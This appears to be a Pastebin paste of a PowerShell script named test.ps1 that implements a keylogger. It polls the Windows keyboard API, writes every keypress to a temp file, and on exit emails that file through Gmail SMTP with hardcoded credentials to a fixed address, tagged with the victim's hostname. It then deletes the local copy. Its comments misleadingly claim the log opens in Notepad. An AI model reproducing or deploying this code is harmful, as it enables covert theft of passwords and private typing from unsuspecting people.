Advertisement
Guest User

test.ps1

a guest
Feb 21st, 2020
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.06 KB | None | 0 0
  1. # Edit only this section!
  2. $TimeToRun = 2
  3. $Pass = "SVa3y4rs"
  4. $Subject = "Keylogger Results"
  5. $body = "Keylogger Results"
  6. $SMTPServer = "smtp.mail.com"
  7. $SMTPPort = "587"
  8. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  9.  
  10. $SMTPServer = 'smtp.gmail.com'
  11. $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  12. $SMTPInfo.EnableSsl = $true
  13. $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'SVa3y4rs')
  14. $ReportEmail = New-Object System.Net.Mail.MailMessage
  15. $ReportEmail.From = '[email protected]'
  16. $ReportEmail.To.Add('[email protected]')
  17. $ReportEmail.Subject = 'Keylogger - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
  18. ############################
  19.  
  20. #requires -Version 2
  21. function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
  22. <#
  23. .DESCRIPTION
  24. By accessing the Windows low-level API functions, a script can constantly
  25. monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
  26. Run the function Start-Keylogger to start logging key presses. Once you
  27. stop the script by pressing CTRL+C, the collected key presses are displayed
  28. .NOTES
  29. http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
  30. #>
  31. # Signatures for API Calls
  32. $signatures = @'
  33. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  34. public static extern short GetAsyncKeyState(int virtualKeyCode);
  35. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  36. public static extern int GetKeyboardState(byte[] keystate);
  37. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  38. public static extern int MapVirtualKey(uint uCode, int uMapType);
  39. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  40. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  41. '@
  42.  
  43. # load signatures and make members available
  44. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  45.  
  46. # create output file
  47. $null = New-Item -Path $Path -ItemType File -Force
  48.  
  49. try {
  50. Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
  51.  
  52. # create endless loop. When user presses CTRL+C, finally-block
  53. # executes and shows the collected key presses
  54. while ($true) {
  55. Start-Sleep -Milliseconds 40
  56.  
  57. # scan all ASCII codes above 8
  58. for ($ascii = 9; $ascii -le 254; $ascii++) {
  59. # get current key state
  60. $state = $API::GetAsyncKeyState($ascii)
  61.  
  62. # is key pressed?
  63. if ($state -eq -32767) {
  64. $null = [console]::CapsLock
  65.  
  66. # translate scan code to real code
  67. $virtualKey = $API::MapVirtualKey($ascii, 3)
  68.  
  69. # get keyboard state for virtual keys
  70. $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
  71. $checkkbstate = $API::GetKeyboardState($kbstate)
  72.  
  73. # prepare a StringBuilder to receive input key
  74. $mychar = New-Object -TypeName System.Text.StringBuilder
  75.  
  76. # translate virtual key
  77. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  78.  
  79. if ($success) {
  80. # add key to logger file
  81. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  82. }
  83. }
  84. }
  85. }
  86. }
  87. finally
  88. {
  89. # open logger file in Notepad
  90. $ReportEmail.Attachments.Add("$ENV:temp\keylogger.txt");$SMTPInfo.Send($ReportEmail)
  91. Remove-Item -Path $Path -force
  92. exit 1
  93. }
  94. }
  95.  
  96. # records all key presses until script is aborted by pressing CTRL+C
  97. # will then open the file with collected key codes
  98. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement